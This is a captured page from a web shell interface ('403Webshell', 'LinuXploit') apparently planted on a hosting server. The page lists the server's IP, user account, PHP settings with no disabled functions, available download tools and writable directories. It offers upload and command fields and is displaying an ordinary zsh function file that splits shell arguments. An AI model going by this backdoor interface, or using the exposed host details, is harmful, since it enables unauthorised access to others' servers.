403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/zsh/functions/Zle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/zsh/functions/Zle/split-shell-arguments
# Split a command line into shell arguments and whitespace in $reply.
# Odd elements (starting from 1) are whitespace, even elements
# are shell arguments (possibly quoted strings).  Whitespace at
# start and end is always included in the array but may be an empty string.
# $REPLY holds NO_KSH_ARRAYS index of current word in $reply.
# $REPLY2 holds NO_KSH_ARRAYS index of current character in current word.
# Hence ${reply[$REPLY][$REPLY2]} is the character under the cursor.
#
# reply, REPLY, REPLY2 should therefore be local to the enclosing function.

emulate -L zsh
setopt extendedglob

local -a bufwords lbufwords
local word
integer pos=1 cpos=$((CURSOR+1)) opos iword ichar

bufwords=(${(Z+n+)BUFFER})

typeset -ga reply
reply=()
while [[ ${BUFFER[pos]} = [[:space:]] ]]; do
  (( pos++ ))
done
reply+=${BUFFER[1,pos-1]}
(( cpos < pos )) && (( iword = 1, ichar = cpos ))

for word in "${bufwords[@]}"; do
  (( opos = pos ))
  (( pos += ${#word} ))
  reply+=("$word")
  if (( iword == 0  &&  cpos < pos )); then
    (( iword = ${#reply} ))
    (( ichar = cpos - opos + 1 ))
  fi

  (( opos = pos ))
  while [[ ${BUFFER[pos]} = [[:space:]] ]]; do
    (( pos++ ))
  done
  reply+=("${BUFFER[opos,pos-1]}")
  if (( iword == 0  &&  cpos < pos )); then
    (( iword = ${#reply} ))
    (( ichar = cpos - opos + 1 ))
  fi
done

typeset -g REPLY REPLY2
if (( iword == 0 )); then
  # At the end of the line, so off the indexable positions
  # (but still a valid cursor position).
  (( REPLY = ${#reply} ))
  (( REPLY2 = 1 ))
else
  (( REPLY = iword ))
  (( REPLY2 = ichar ))
fi

Youez - 2016 - github.com/yon3zu
LinuXploit